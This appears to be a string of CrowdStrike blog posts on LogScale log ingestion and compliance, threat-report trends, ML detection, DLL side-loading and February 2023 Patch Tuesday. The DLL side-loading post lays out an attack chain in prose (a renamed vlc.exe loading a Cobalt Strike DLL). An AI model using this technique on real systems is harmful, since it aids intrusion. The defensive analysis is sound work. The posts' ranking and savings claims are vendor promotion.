Alternatively, you can send unstructured data to LogScale. Unstructured data are timestamped at ingestion since it’s a long comma delimited string. Thus the timestamp that you may or may not provide in the log entry has no impact on the ingestion timestamp. Below is an example of unstructured data:

unstructured_data = ["Unstructured message","Hello Python World",str(datetime.now(timezone("EST")).isoformat())]

You can send it to LogScale using the following function where unstructured_data is the object that contains your message. Please note the differences in the syntax between ingesting structured and unstructured data.

client.ingest_messages(unstructured_data)

If you completed all the steps above, you should start seeing messages appearing in your LogScale instance. Happy logging!

 

The CrowdStrike 2023 Global Threat Report, among the most trusted and comprehensive research on the modern threat landscape, explores the most significant security events and trends of the previous year, as well as the adversaries driving this activity.

The latest edition of the CrowdStrike Global Threat Report comes at a critical time for organizations around the world. Adversaries have become more sophisticated, relentless and destructive in their attacks, as evidenced by the emergence of several trends in 2022 that threaten enterprise productivity and global stability. It is imperative that businesses pay attention to these changes in the threat landscape and respond with a stronger, more proactive defense.

Nation-state activity was front and center throughout 2022. The year started ominously as Russia’s deadly war of aggression in Ukraine brought about a terrible human toll, threatened international order and put countless global organizations at risk of spillover cyberattacks. China state-nexus adversaries accelerated their cyber espionage campaigns throughout the year, and Iranian actors launched destructive “lock-and-leak” operations using ransomware.  

Learn more: Download the CrowdStrike 2023 Global Threat Report 

Adversaries continued to adapt and refine their techniques, which included re-weaponizing vulnerabilities, a greater focus on cloud exploitation and a rise in malware-free attacks. We saw a dramatic increase in advertisements from access brokers, who acquire access to organizations and provide or sell it to other actors, including ransomware operators. CrowdStrike Intelligence identified a significant increase in access broker activity throughout 2022, with more than 2,500 advertisements identified — a 112% jump from 2021. An especially popular tactic was the abuse of compromised credentials acquired via information stealers or purchased on the criminal underground, reflecting a growing interest in targeting identities that we also saw last year: Our 2022 report found 80% of cyberattacks leveraged identity-based techniques.

CrowdStrike Intelligence began tracking 33 new adversaries in 2022, raising the total number tracked to more than 200. Stopping breaches requires an understanding of these adversaries, including their motivations and the techniques they use to target organizations. Below are some of the trends and findings we explore in greater detail throughout this year’s report:

• Cloud exploitation skyrocketed: Last year’s Global Threat Report anticipated a rise in cloud exploitation, a trend that unfolded as expected in 2022. Cloud exploitation cases grew by 95% last year, and incidents involving cloud-conscious threat actors nearly tripled from 2021. The cloud continues to evolve as the new battleground as adversaries increasingly target cloud environments.
• Malware-free attacks continued to rise: Sophisticated adversaries relentlessly searched for new ways to evade antivirus protection and outsmart machine-only defenses. Seventy-one percent of attacks detected were malware-free, while interactive intrusions (hands-on-keyboard activity) increased 50% in 2022.
• Adversaries re-weaponized and re-exploited vulnerabilities: The constant disclosure of vulnerabilities affecting legacy infrastructure like Microsoft Active Directory continued to burden security teams and present an open door to attackers, while the ubiquitous Log4Shell vulnerability ushered in a new era of “vulnerability rediscovery,” during which adversaries modify or reapply the same exploit to target other similarly vulnerable products. 
• China-nexus adversaries scaled operations: CrowdStrike Intelligence tracks China-nexus adversaries as the most active targeted intrusion groups. China-nexus adversaries, and actors using TTPs consistent with them, were observed targeting nearly all 39 global industry sectors and 20 geographic regions we track. These intrusions are likely intended to collect strategic intelligence, compromise intellectual property and further the surveillance of targeted groups. 

CrowdStrike: Stopping Breaches So Customers Can Move Forward

The 2023 Global Threat Report shows security must parallel the slope of technology innovation.  As enterprise technology matures, security must also evolve to match the sophistication of the technology organizations rely on. This slope of innovation applies to adversary activity as well: With every innovation we achieve, we can expect adversaries to seek new ways to exploit it. 

At CrowdStrike, our mission today is the same as when we started: to stop breaches so our customers can move forward. Our focus is on delivering the platform, technology and intelligence needed to keep you ahead of the adversary. This is why we’ve unified and delivered critical protections like endpoint and extended detection and response, identity threat protection, cloud security, vulnerability and risk management, threat intelligence and much more — all from a single platform.   

I hope you find this report instructive in how we can continue to work together to protect the world from those who mean to do harm. In the coming weeks, we will publish a series of blog posts taking a deeper dive into each of the key trends discussed in the 2023 Global Threat Report. These posts will examine the drivers of these trends and discuss how organizations can better defend themselves against modern adversaries. Security starts with knowledge — of the adversaries targeting us, their tactics and the vulnerabilities they’ll seek to exploit. With that knowledge comes resolve, that together we can prevail. 

Additional Resources

• Download the CrowdStrike 2023 Global Threat Report to learn how the threat landscape has shifted in the past year and understand the adversary behavior driving these shifts.
• Join CrowdStrike for a three-part CrowdCast series for in-depth discussions around the threats, events and trends in the CrowdStrike 2023 Global Threat Report.
• Want to know the adversaries potentially targeting your organization? Get your own custom threat landscape in the CrowdStrike Adversary Universe.
• Defending against today’s adversaries requires the best tools. Explore the CrowdStrike Falcon platform and learn how our technology protects against the threats discussed in the 2023 Global Threat Report, including cloud exploitation, advanced adversaries, malware-free attacks, vulnerability exploitation and more.

• Malware gets the headlines, but the bigger threat is hands-on-keyboard adversary activity which can evade traditional security solutions and present detection challenges
• Machine learning (ML) can predict and proactively protect against emerging threats by using behavioral event data.
• CrowdStrike’s artificial intelligence (AI)-powered indicators of attack (IOAs) use ML to detect and predict adversarial patterns in real time, regardless of tools or malware used, stopping breaches

With news headlines like “A massive ransomware attack hit hundreds of businesses” becoming common, concern about malware has never been higher. High-profile examples of malware like DarkSide, REvil have been profiled so many times that not only cybersecurity professionals are on edge — every organization that has on-premises or in-the-cloud workloads is concerned. 

However, even though malware attacks are making headlines, an increasing number of cyberattacks are malware-free. According to the CrowdStrike^® 2022 Global Threat Report, 62% of attacks in 2021 did not use malware, but instead were carried out using hands-on keyboard activity. In addition, so-called “living off the land” (LotL) attacks misuse legitimate tools like PowerShell to carry out an attack and are therefore much more difficult to detect. 

This is the reality security professionals face: hands-on-keyboard activity poses a far greater threat than a piece of malware. 

Most traditional security solutions scan for known malware or packers, so hands-on-keyboard attacks can go unnoticed until it’s too late and a breach occurs. It can happen quickly — as reported in the CrowdStrike 2022 Global Threat Report, an adversary takes an average of 1 hour and 38 minutes to move laterally from the moment of initial access to the moment they can infect additional critical endpoints. 

AI is a cybersecurity game-changer given ML’s ability to detect behavior-based IOAs in real time. Leveraging cloud-native ML models trained on the rich telemetry of the CrowdStrike^® Security Cloud, threat intelligence pointing to a hands-on-keyboard attack can be delivered to security teams to prevent real-time breaches from happening.

Using AI in Cybersecurity: How ML Can Detect and Prevent Hands-on-Keyboard Activity Patterns

Let’s look at a typical attack scenario that exploits legitimate tools and services to infiltrate a network. Once a perch is gained and persistence is established, bad actors are then able to use valid credentials to move laterally through the target network, gain access to critical systems and steal or compromise data. They can also use their foothold to download and install malware and additional tooling without detection, holding the victim organization hostage. The dangerous aspect of hands-on-keyboard attacks is that adversaries can exploit stolen credentials (such as compromised account passwords) and then leverage legitimate tools and software to establish their presence. 

Since this type of adversarial tradecraft is mostly malware-free or fileless, there is no “traditional” malware being downloaded for legacy security software to intercept. Because legitimate tools and software are used in these LotL attacks, such as the abuse of PowerShell and Windows Management Instrumentation (WMI) to run scripts or the use of existing remote desktop service, detecting these attacks with signature-based approaches is extremely difficult. 

The use of AI, specifically ML, is a highly effective way to detect hands-on-keyboard activities as they develop, preventing the disaster of a breach. 

Detecting the signs of a hands-on-keyboard attack before it progresses requires understanding patterns and behavior. Using the rich telemetry of the CrowdStrike Security Cloud and the expertise from our threat hunting teams we developed and trained ML models that can both identify and predict adversarial behavior patterns related to hands-on-keyboard activity. 

The challenge is that because this type of adversary activity uses legitimate tools and processes, it is extremely difficult to detect or assess a single action that could be part of an attack. In addition, false positives — incorrectly alerting that an action is part of an attack — are a problem and can have analysts invest time in bringing systems back online from incorrectly triggered automated remediation procedures. Security resources are limited. False alarms are a distraction that diverts staff, lowers confidence in the solution and can have a dollar value associated with resolving them.

Taking these into consideration, ML is ideal for detecting and helping to prevent hands-on-keyboard intrusion activity. 

ML models are trained using expertly curated data sets of malicious threats and benign activities, including data generated from real-life cyberattacks. They “learn” to recognize behavioral patterns and to accurately assess a threat level as a sequence of events progresses.  

The CrowdStrike Falcon^® platform was built from the ground up to leverage the power of ML and the cloud, demonstrating both in simulated tests and real-world environments that it is incredibly effective at defending against malware-free, hands-on-keyboard activities. For example, our cloud ML models known as AI-powered IOAs have identified over 20 new behavior-based indicator patterns indicative of post-exploitation payload detection or the use of LotL tools like PowerShell. When malicious activity is detected, the attack is stopped before a breach occurs. The organization’s security team is then alerted, giving them the ability to immediately investigate the threat and take any action required. 

To see just how impressive the Falcon platform is in action, consider the results of a recent MITRE Engenuity ATT&CK Enterprise Evaluation. The Falcon platform went up against emulated attacks from highly sophisticated WIZARD SPIDER and VOODOO BEAR (Sandworm Team) adversaries, achieving 100% automated prevention across all of the MITRE Engenuity ATT&CK Enterprise Evaluation steps. This level of protection prevented attackers from even gaining access to the test environment, with the Falcon platform’s AI-powered automated defenses effectively stopping the test before it could even start.

Malware is dangerous and a constant threat, but it’s relatively easy to prevent with the right tools. Hands-on-keyboard activities are costly, relentless, high volume and virtually impossible to detect until it’s too late when using traditional security solutions. AI and ML are the right answers to defend against these increasingly sophisticated attacks. 

But this doesn’t mean that the use of AI and ML can completely replace people and that human security staff are no longer needed. On the contrary, ML is a powerful tool that augments an organization’s security team. Employing the Falcon platform with its advanced AI and ML increases the effectiveness of the security team, cutting response time and providing the advanced tools needed to combat the most sophisticated adversaries.

Additional Resources

• Read about how machine learning is used in cybersecurity.
• Learn more about the CrowdStrike Falcon^® platform by visiting the product webpage.
• Test CrowdStrike next-gen AV for yourself. Start your free trial of Falcon Prevent today.

From manufacturers in Michigan to fintechs in Finland, every business must comply with industry regulations — which are increasingly constraining. At the same time, businesses must protect and account for a growing number of systems, applications and data in order to remain compliant. 

In other words, compliance is getting harder.

Enter log management. While regulations vary by country and industry, nearly every organization must store compliance-relevant information for a certain period of time. The trouble comes when you’ve got an assortment of tools emitting logs in an inconsistent fashion.

Estimate your infrastructure savings with CrowdStrike Falcon^® LogScale

A good log management system solves this problem by ingesting data from disparate sources and storing it in a central location where it can easily be searched. This post explores how CrowdStrike Falcon^® LogScale delivers the right mix of speed, scale and cost for compliance use cases, regardless of your business type. 

Now Required: Log Management for Compliance

Compliance is all about controlling your systems. The way to ensure that control is through preventive or detective controls. Log management is a key component for detective controls and the workflow around them. Meaning: Whatever the regulations say you should or shouldn’t do, those events can easily be captured by a logging system. 

Log management is so integral for compliance, in fact, that most regulations and frameworks require centralized log management. 

Take cybersecurity. Security teams can — and should — log relevant host activity for threat detection, hunting and investigations. But an adversary can delete or manipulate log files, especially if they are stored on the host. From a defense standpoint, you want to get those logs off the host system as quickly as possible. A modern log management system can instantly log those events for safekeeping and give incident responders a trail of evidence to see how deep the breach went.

These digital forensics not only help with business continuity but they make for a much easier discussion when the data breach authorities come knocking. Fines increase dramatically when you have inadequate controls in place, which explains how companies have racked up $4.4 trillion USD in data breach fines, penalties and settlements. 

Log management is useful for both security and non-security compliance requirements. Whether it’s health and safety, Payment Card Industry (PCI) standards, or a different regulatory framework, the fundamental ability to store and search your log data can make audits a breeze, while adding value in other areas of the business.

How to Use Falcon LogScale for Compliance

Falcon LogScale is CrowdStrike’s log management and observability solution. It bolsters organizations’ security posture by allowing teams to hunt for threats, investigate possible attacks, identify risks and gain valuable insights from all log and event data in real time. 

From a compliance standpoint, Falcon LogScale offers organizations a scalable, high-performance log management solution with a robust query language for threat hunting and analysis. Customizable dashboards and optional data masking make Falcon LogScale ideally suited for compliance teams. With flexible, cloud-native and self-hosted deployment options — as well as high compression rates and a small infrastructure footprint — Falcon LogScale is the easy, cost-effective choice for compliance and long-term log storage.

Here are four popular features of Falcon LogScale to help with your compliance goals:

1. Scale. Falcon LogScale is highly scalable. Last year, Falcon LogScale achieved a scalability benchmark of 1 petabyte of data ingestion per day, making it the most scalable log management solution on the planet. As your compliance data requirements grow, Falcon LogScale grows with you.
2. Speed. Falcon LogScale allows you to ingest and search logs with minimal latency. For example, Great American Insurance Group can query 3 billion records in under a second. This speed comes in handy when auditors ask questions you don’t anticipate. With LogScale, you can quickly find answers to any question — think seconds not days.
3. Flexibility. Legacy log management solutions come bloated with out-of-the-box reporting capabilities. Falcon LogScale comes streamlined with a fast and flexible search engine that allows you to compile the exact data needed for audits. Check out our Infrastructure Savings Estimator to compare the infrastructure footprint of Falcon LogScale with legacy systems.
4. Cost. Falcon LogScale compresses data by 10x on average, drastically reducing storage costs (and hence, compliance costs). One bank in Norway says this translated to millions in savings over three years. In a 2022 Forrester Total Economic Impact study, Falcon LogScale showed a 210% ROI after three years, offering an extremely low total cost of ownership. 

Compliance as a Secondary Benefit

Most companies don’t use Falcon LogScale strictly for compliance. They get it for security, DevOps or operations (or all three) and then use it for compliance as well. Because Falcon LogScale allows you to ingest virtually any data source and then store that data for as long as you need it, compliance becomes a secondary benefit. 

This was the case for a hospital system in Denmark. They primarily used Falcon LogScale to collect and query security-related logs for enhanced threat hunting. But when auditors threatened to shut down their kitchen due to inadequate temperature monitoring capabilities, the hospital turned to Falcon LogScale.

They realized their digital kitchen equipment was capable of emitting log files. Now, the hospital uses Falcon LogScale to ingest and dashboard temperature data from their kitchen devices, allowing them to improve food quality while complying with food safety regulations. 

Compliance requirements aren’t getting any easier. Falcon LogScale is a modern log management and observability solution that allows any organization to ingest and search their log and event data at unrivaled speed, scale and cost — making it ideal for compliance.

Additional Resources

• Try Falcon LogScale for free with the Falcon LogScale Community Edition.
• Contact us to schedule a personalized demo of Falcon LogScale.
• Read the 2022 Forrester Study: The Total Economic Impact of CrowdStrike Falcon LogScale to learn the benefits and cost savings of Falcon LogScale.
• Visit the Falcon LogScale product page to learn more.

Threat actors constantly evolve their tactics and techniques to circumvent security solutions. Working at the cutting-edge of detection engineering, CrowdStrike rapidly tracks and observes these evolutions in tactics to deliver timely, effective detections that protect customers. In this blog, we explore DLL side-loading and learn how CrowdStrike has expanded protections with Advanced Memory Scanning.

Learn More About CrowdStrike’s Advanced Memory Scanning

Watch this webcast to see how the CrowdStrike Falcon platform’s Advanced Memory Scanning feature accelerates protection earlier in the kill chain.

Enter the DLL Side-Loading Evasion Technique 

DLL side-loading is the proxy execution of a malicious DLL via a benign executable planted in the same directory, similar to DLL search-order hijacking. This abuses the Windows behavior of loading the DLL from where the application  (e.g. the benign, planted binary) was loaded prior to other locations such as system directories.¹ DLL side-loading is a frequently seen technique that CrowdStrike has developed extensive protections against.

Advantages of DLL Side-Loading for Threat Actors 

The advantages of DLL side-loading is the executables used are often trusted, signed and in use within an organization. As such they may face less scrutiny by security appliances or teams. In reality, the payload is embedded within the DLL and may often be encrypted or obfuscated to defeat anti-virus or basic scanning. 

DLL side-loading is not a new technique and has been observed by the CrowdStrike^® Falcon OverWatch and CrowdStrike Intelligence teams for years.² It is one of the most prevalent techniques amongst attackers spanning targeted intrusions, eCrime (including big game hunting) and commodity RATs. 

DLL side-loading is used not only in post-exploitation, but also for lateral movement and persistence where the files are copied to another endpoint and remotely executed, or placed in a startup location or registry path to maintain or expand access.

Understanding the DLL Side-loading Technique 

The technique is mapped to MITRE under Hijack Execution Flow (T1574.002).

An example chain of malicious activity might appear similar to these steps:

1. A threat actor obtains initial access to an endpoint, either via an application vulnerability, compromised credentials, successful phish, trojanized installer or even a trusted insider.
2. Once an initial foothold has been gained, the threat actor needs to potentially upgrade their access to a more capable command and control (C2) such as Cobalt Strike or similar C2 frameworks.
3. To do this, the threat actor copies both a benign, often signed executable and a malicious DLL to disk into the same directory.
4. Upon launching the benign executable, the dropped DLL is loaded with its malicious payload. The application either fails to run any further, or the DLL proxies legitimate function calls to the real DLL to avoid any crash or suspicious behavior. 
5. Once the payload has been executed it will call back to the threat actor controlled remote C2.
6. The process tree will show the execution of the binary rather than any malicious program.

Definitely Not Just Vlc.exe

Since October 2022, CrowdStrike Intelligence has observed abuse of particular DLL side-loading to further various intrusions.³ In November and early December 2022, CrowdStrike identified a number of ransomware intrusions targeting the health sector which also had similar TTPs. In these cases, The threat actors used a copy of vlc.exe masquerading as the Windows binary msdtc.exe (Microsoft Distributed Transaction Coordinator). This file normally resides in C:\Windows\System32 whereas these executions were often from user-related folders such as C:\Users\<username>\Documents. The renamed vlc.exe would load a malicious DLL, libvlc.dll, which contained a Cobalt Strike payload.

Advantage: The CrowdStrike Falcon Platform

The Falcon platform has significant capabilities when dealing with DLL side-loading. This is due to  the platform’s overlapping set of detections, which include:

• Detect on-Write (DoW), which will trigger when a malicious DLL is written to disk
• CrowdStrike behavioral indicators of attack (IOAs) alerting on malicious execution
• Sensor and cloud machine learning constantly scanning executed files
• Falcon OverWatch and CrowdStrike Intelligence teams add a layer of human expertise to look for suspicious clusters of activity across trillions of daily events. 

Building on this coverage is a new evolution for Falcon detection: Advanced Memory Scanning (AMS). Advanced Memory Scanning adds another layer of protection to stop threats like malicious DLL side-loading techniques and fileless threats earlier in the kill chain to deliver on CrowdStrike’s mission to stop breaches.

Part of the role of the Endpoint Protection (EPP) Content team is to analyze intrusions and anticipate any changes in TTPs threat actors might use, and to ensure continued coverage against the latest threats. While the execution in the aforementioned intrusions was prevented, the basic IOCs for DLL side loading can be endlessly changed: hashes, filenames, execution paths or network indicators. 

To add another layer of protection for CrowdStrike customers, the EPP Content team dove into the malicious DLL and extracted a set of artifacts for AMS. The team  also developed customized “triggers” based on suspicious behaviors. By pairing the artifacts with the triggers, CrowdStrike can  ensure that AMS performs targeted scans against real threats and remains highly performant. 

Further, the memory scan specifications built from these behavioral triggers are delivered to Falcon customer endpoints in real time, ensuring the most up-to-date protection without sensor updates.

The below animation demonstrates AMS preventing this DLL side-loading technique. It replicates the abuse of vlc.exe loading a malicious version of libvlc.dll. As AMS is looking for malicious artifacts in memory, the detection is more robust than relying on other indicators that can be modified.

From the Falcon console, analysts can see the process that triggered the scan, confirm that it was killed by the sensor, and view the explanatory text noting that malicious artifacts were found in memory.

Analysts can also review AMS events in the Event Viewer and review the results of memory scans with the following example Splunk syntax:

event_platform=win event_simpleName IN (ProcessRollup2, AmsBytePatternScanResult)
| eval MemoryScanResultConst=case(MemoryScanResult_decimal==0, "INVALID", MemoryScanResult_decimal==1, "MATCH", MemoryScanResult_decimal==2, "NO_MATCH", MemoryScanResult_decimal==3, "SCAN_FAILED" )
| eval IntelTDTEnabledConst=case(IntelTDTEnabled_decimal==0, "DISABLED", IntelTDTEnabled_decimal==1, "ENABLED_GPU", IntelTDTEnabled_decimal==2, "ENABLED_CPU")
| stats values(ProcessStartTime_decimal) as ProcessStartTime, dc(event_simpleName) as eventCount, values(UserName) as UserName, values(ParentBaseFileName) as ParentFile, values(FileName) as FileName, values(CommandLine) as CommandLine, values(MemoryScanResultConst) as MemoryScanResultConst, values(IntelTDTEnabledConst), as IntelTDTEnabledConst by, aid, ComputerName, TargetProcessId_decimal
| where eventCount=2
| convert ctime(ProcessStartTime)
| table aid, ComputerName, ProcessStartTime, UserName, TargetProcessId_decimal, ParentFile, FileName, CommandLine, MemoryScanResultConst, IntelTDTEnabledConst

Not Your Average Memory Scan

When we think of “traditional” memory scanning, we often think of legacy antivirus applications constantly thrashing hard disk drives as it scans the entire memory of a system. Even on high-end systems, this was a drain on resources and significantly impacted performance. 

CrowdStrike partnered with Intel Corp to reimagine memory scanning, enabling fast, high-performance scans by integrating Intel’s Threat Detection Technology (TDT) with the Falcon platform’s Advanced Memory Scanning algorithms.

To break free of traditional memory scanning constraints, the EPP Content engineering team  minimized resource consumption through targeted hardware optimizations, such as GPU offloading and innovative algorithms optimized for Intel processors. To limit a memory scan’s size and duration vs traditional approaches, memory can be logically down-selected to limit scans appropriately to the artifact type. Effective guardrails on scan size and CPU limits minimize performance disruption, as should be expected for enterprise environments. These innovations result in surgical scans, more often, with minimal impact. 

These highly performant scans are automated with high-fidelity behavioral triggers, leveraging the Falcon platform’s indicators of attack instead of initiating on arbitrary intervals. Automation and behavioral triggers help Advanced Memory Scanning stop fileless attacks in real time, not after a breach. Furthermore, new memory scan specifications are delivered to customer endpoints from the cloud in minutes, so customer endpoints are protected from the newest and most sophisticated fileless attacks. 

Endnotes

1. Learn more about dynamic-link library search order.
2. Some examples over the years include: 
   1. CSA-14023 VIXEN PANDA Activity Using Mirage Malware Leverages DLL Side-Loading Technique Previously Only Seen with PlugX, April 23, 2014
   2. CSIT-16115 PREDATOR PANDA Uses HexRAT Malware to Target Asian Entities, October 19, 2016
   3. CSA-221165 New Falha Banking Trojan Campaign Observed; Continued Use of MSI Files and C2 Dead-Drop Pastebin URLs, November 05, 2022
   4. CSIT-22180 Logsupport: A China-Nexus Implant Targeting Eastern Europe, December 15, 2022. 
3. See CSA-230012 HIVE SPIDER Affiliate Targets Telecommunications Sector Entity; Affiliate Utilized HalfAndHalf and SolarMarker for Initial Access and Persistence, January 5, 2023.

Additional Resources

• Learn how the powerful CrowdStrike Falcon® platform provides comprehensive protection across your organization, workers and data, wherever they are located.
• Get a full-featured free trial of CrowdStrike Falcon Prevent and see for yourself how true next-gen AV performs against today’s most sophisticated threats.

Microsoft has released 75 security patches for its February 2023 Patch Tuesday rollout: 9 vulnerabilities are rated Critical, and the remaining 66 are rated Important. 

Three actively exploited vulnerabilities were reported by the vendor: an elevation of privilege within Windows Common Log File System Driver (CVE-2023-23376), a security feature bypass in Microsoft Office (CVE-2023-21715), and a remote code execution security flaw in Windows Graphics Component (CVE-2023-21823).

February 2023 Risk Analysis

This month’s leading risk type is Remote Code Execution (48%, up from 34% in January 2023), followed by Elevation of Privilege at nearly 16% (down from nearly 40% in January), and Denial of Service at 13% (up from 10% last month).

The Microsoft Windows product family received the most patches this month (36), followed by Extended Support Updates (34), and SQL Server and Developer Tools (such as Visual Studio Code) with seven patches each.

Actively Exploited Vulnerabilities 

CVE-2023-21823, rated Important, is a vulnerability affecting Windows Graphics Component. This zero-day was discovered by Genwei Jiang and Dhanesh Kizhakkinan of Mandiant. No additional data was provided by Microsoft at this time. It is recommended to patch the operating system in order to mitigate this vulnerability.

CVE-2023-23376, rated Important, is an elevation of privilege security flaw that impacts the Common Log File System(CLFS) Driver, a logging service used by both kernel- and user-mode applications. This vulnerability can be leveraged after an attacker has obtained access to a vulnerable target in order to elevate to SYSTEM privileges. The flaw was discovered by the Microsoft Threat Intelligence Center (MSTIC) and Microsoft Security Response Center (MSRC).

CVE-2023-21715, also rated Important, is a security flaw allowing an attacker to bypass Microsoft Office macro policies that are used to block untrusted or malicious files. An authenticated attacker could exploit the vulnerability by convincing a victim, through social engineering, to download from a website and open a specially crafted file that could lead to a local attack on the victim computer.

Rank	CVSS Score	CVE	Description
Important	7.8	CVE-2023-21823	Windows Graphics Component Remote Code Execution Vulnerability
Important	7.8	CVE-2023-23376	Windows Common Log File System Driver Elevation of Privilege Vulnerability
Important	7.3	CVE-2023-21715	Microsoft Publisher Security Features Bypass Vulnerability

Figure 3. Actively exploited vulnerabilities patched in February 2023

Critical Vulnerabilities in Microsoft Products

Critical Vulnerabilities in Protected Extensible Authentication Protocol (PEAP)

CVE-2023-21692, CVE-2023-21690 and CVE-2023-21689 are extremely dangerous vulnerabilities, all with a CVSS 9.8 score. To exploit these vulnerabilities, an attacker sends specially crafted PEAP packets over the network to a victim machine, potentially allowing for remote code execution in the user context of the targeted network account. An attacker does not require special privileges or user interaction in order to exploit this vulnerability. However, Microsoft notes that PEAP is only negotiated if the Network Policy Server Service (NPS) is running on the Windows Server endpoint and has a network policy configured to allow PEAP. To stop using PEAP, Microsoft recommends customers ensure that PEAP type is not configured as an allowed EAP type in their network policy. To learn more, Microsoft recommends visiting Configure the New Wireless Network Policy and Configure Network Policies.

Rank	CVSS Score	CVE	Description
Critical	9.8	CVE-2023-21692	Microsoft Protected Extensible Authentication Protocol (PEAP) Remote Code Execution Vulnerability
Critical	9.8	CVE-2023-21690	Microsoft Protected Extensible Authentication Protocol (PEAP) Remote Code Execution Vulnerability
Critical	9.8	CVE-2023-21689	Microsoft Protected Extensible Authentication Protocol (PEAP) Remote Code Execution Vulnerability

Figure 4. Critical vulnerabilities in PEAP

Critical Vulnerabilities Affecting Microsoft Word

Deemed “less likely exploitable” by Microsoft, CVE-2023-21716 is a remote code execution vulnerability affecting Microsoft Word, Sharepoint, Office 365 and Office for Mac and has been assigned a CVSS score of 9.8. The vulnerability does not require authentication and could be exploited by sending an email with a rich text format (RTF) payload that, when opened, leads to a command execution.

For more guidance on how to prevent Word from loading RTF files, refer to MS08-026.

Rank	CVSS Score	CVE	Description
Critical	9.8	CVE-2023-21716	Microsoft Word Remote Code Execution Vulnerability

Figure 5. Critical vulnerabilities in MS Word

Critical Vulnerabilities Affecting Visual Studio Code

CVE-2023-23381 and CVE-2023-21815 are arbitrary code execution vulnerabilities targeting the Visual Studio Code. This means that while the impact is remote code execution, the adversary must be able to run code on the victim machine to exploit the vulnerability. In other words, the adversary sends a crafted file to the victim computer and then the victim runs the malicious code. Microsoft recommends updating to the most recent version of Visual Studio Code in order to mitigate this vulnerability.

Rank	CVSS Score	CVE	Description
Critical	8.4	CVE-2023-23381	Visual Studio Remote Code Execution Vulnerability
Critical	8.4	CVE-2023-21815	Visual Studio Remote Code Execution Vulnerability

Figure 6. Critical vulnerabilities affecting Visual Studio Code

Critical Vulnerabilities Affecting Windows iSCSI Discovery Service 

CVE-2023-21803 could allow an attacker the ability to remotely execute code on a target system. By default, the iSCSI Initiator client application is disabled, and in this state, an attacker cannot exploit this vulnerability. For a system to be vulnerable, the iSCSI Initiator client application would need to be enabled. Only x86 or 32-bit based versions of Windows are affected by this vulnerability.

Rank	CVSS Score	CVE	Description
Critical	9.8	CVE-2023-21803	Windows iSCSI Discovery Service Remote Code Execution Vulnerability

Figure 7. Critical vulnerabilities affecting Windows iSCSI Service

Not All Relevant Vulnerabilities Have Patches: Consider Mitigation Strategies

As we have learned with other notable vulnerabilities, such as Log4j, not every highly exploitable vulnerability can be easily patched. As is the case for the ProxyNotShell vulnerabilities, it’s critically important to develop a response plan for how to defend your environments when no patching protocol exists. 

Regular review of your patching strategy should still be a part of your program, but you should also look more holistically at your organization’s methods for cybersecurity and improve your overall security posture.

The CrowdStrike Falcon platform collects and analyzes trillions of endpoint events every day from millions of sensors deployed across 176 countries. Watch this demo to see the Falcon platform in action.

Learn More

This video on CrowdStrike Falcon^® Spotlight vulnerability management shows how you can quickly monitor and prioritize vulnerabilities within the systems and applications in your organization. 

About CVSS Scores

The Common Vulnerability Scoring System (CVSS) is a free and open industry standard that CrowdStrike and many other cybersecurity organizations use to assess and communicate software vulnerabilities’ severity and characteristics. The CVSS Base Score ranges from 0.0 to 10.0, and the National Vulnerability Database (NVD) adds a severity rating for CVSS scores. Learn more about vulnerability scoring in this article. 

Additional Resources

• Download the CrowdStrike 2022 Falcon OverWatch Threat Hunting Report to learn more about recent adversary tradecraft and tooling and get actionable tips for staying ahead of today’s stealthiest, most sophisticated cyber threats.
• See how Falcon Spotlight can help you discover and manage vulnerabilities in your environments. 
• Learn how the new External Attack Surface Module, Falcon Surface (EASM) can discover unknown, exposed and vulnerable internet-facing assets enabling security teams to stop adversaries in their tracks.
• Learn how Falcon Identity Protection products can stop workforce identity threats faster. 
• Make prioritization painless and efficient. Watch how Falcon Spotlight enables IT staff to improve visibility with custom filters and team dashboards. 
• Test CrowdStrike next-gen AV for yourself with a free trial of Falcon Prevent.

CrowdStrike maintains endpoint security market leadership with a #1 ranking in IDC’s 2021-2022 report, and has been awarded Best Endpoint Detection and Response and Best Product Development by SE Labs. These recognitions validate CrowdStrike as the industry’s market and innovation leader in endpoint security.

We’re honored to share CrowdStrike has been ranked #1 out of 26 vendors in IDC’s Worldwide Modern Endpoint Security Market Shares, July 2021-June 2022 report.¹ Our mission is to protect businesses by stopping breaches; we’re grateful to our customers and partners for the trust they put into CrowdStrike and for helping us achieve this milestone.

This is why we’ll never stop innovating to provide our customers with the best platform and technology to stop breaches and keep their organizations moving forward. We believe the best customer outcomes require the best technology. We don’t just say it — we constantly put it to the test. This is why it’s so powerful to also see CrowdStrike receive the SE Labs award for Best Endpoint Detection & Response for the third consecutive time and earn the Best Product Development award for our continued innovation. 

The modern endpoint is the epicenter of enterprise risk because it’s the gateway to any company’s most critical assets and sensitive data. Protecting the endpoint is essential because every endpoint is a potential entry point for an adversary to gain access to valuable resources. We believe our placement in IDC’s market share report demonstrates that companies trust CrowdStrike with this critical protection more than any other vendor in the world.

CrowdStrike: The World’s Most Deployed EDR

IDC defines the worldwide modern endpoint security market as including endpoint detection and response (EDR), endpoint protection platform (EPP), capabilities to strengthen the secure posture of end-user devices and vendor-provided managed detection and response (MDR). Its report states CrowdStrike produced the largest increases in endpoint revenue and market share of all 26 vendors included in the report. From July 2021 through June 2022, CrowdStrike’s market share increased from 13.8% to 17.7%, IDC states. This makes us the leader in IDC’s endpoint security market share report for the third year running.

This market continues to see rapidly accelerated demand, largely due to a growing attack surface and the extensive damage adversaries can inflict on businesses: IDC reports the endpoint security market increased 27.1% between June 2021 and June 2022. Organizations are spending more on endpoint security and related technologies, as well as vendor-provided managed services, to defend against increasingly advanced and destructive threats.

As the IDC report shows, organizations continue to make their endpoint security investment with CrowdStrike. We’ll continue to drive the innovation necessary to repeatedly earn that trust as we accelerate our innovation in extended detection and response (XDR) — the future of enterprise security technology. CrowdStrike’s leadership in EDR, the foundation of XDR technology, puts us in a prime position to dominate the XDR market as organizations seek to protect a growing attack surface.

CrowdStrike: The Industry’s EDR Technology Leader

In its Cyber Threat Intelligence 2023 report, SE Labs says CrowdStrike continues to provide customers with the Best Endpoint Detection & Response technology in the industry. This is the third consecutive time CrowdStrike has won the award for best EDR from SE Labs — and the latest in a series of awards recognizing CrowdStrike as the industry technology leader. CrowdStrike has recently been ranked: 

• #1 in ransomware prevention
• #1 in endpoint detection and response
• #1 in advanced security attack detection
• #1 in automated threat prevention
• #1 in worldwide corporate endpoint security market share²

Our customers know it: leading customer review websites G2, PeerSpot and TrustRadius recently recognized CrowdStrike as providing the top offerings in several cybersecurity market categories including EDR, EPP and XDR.

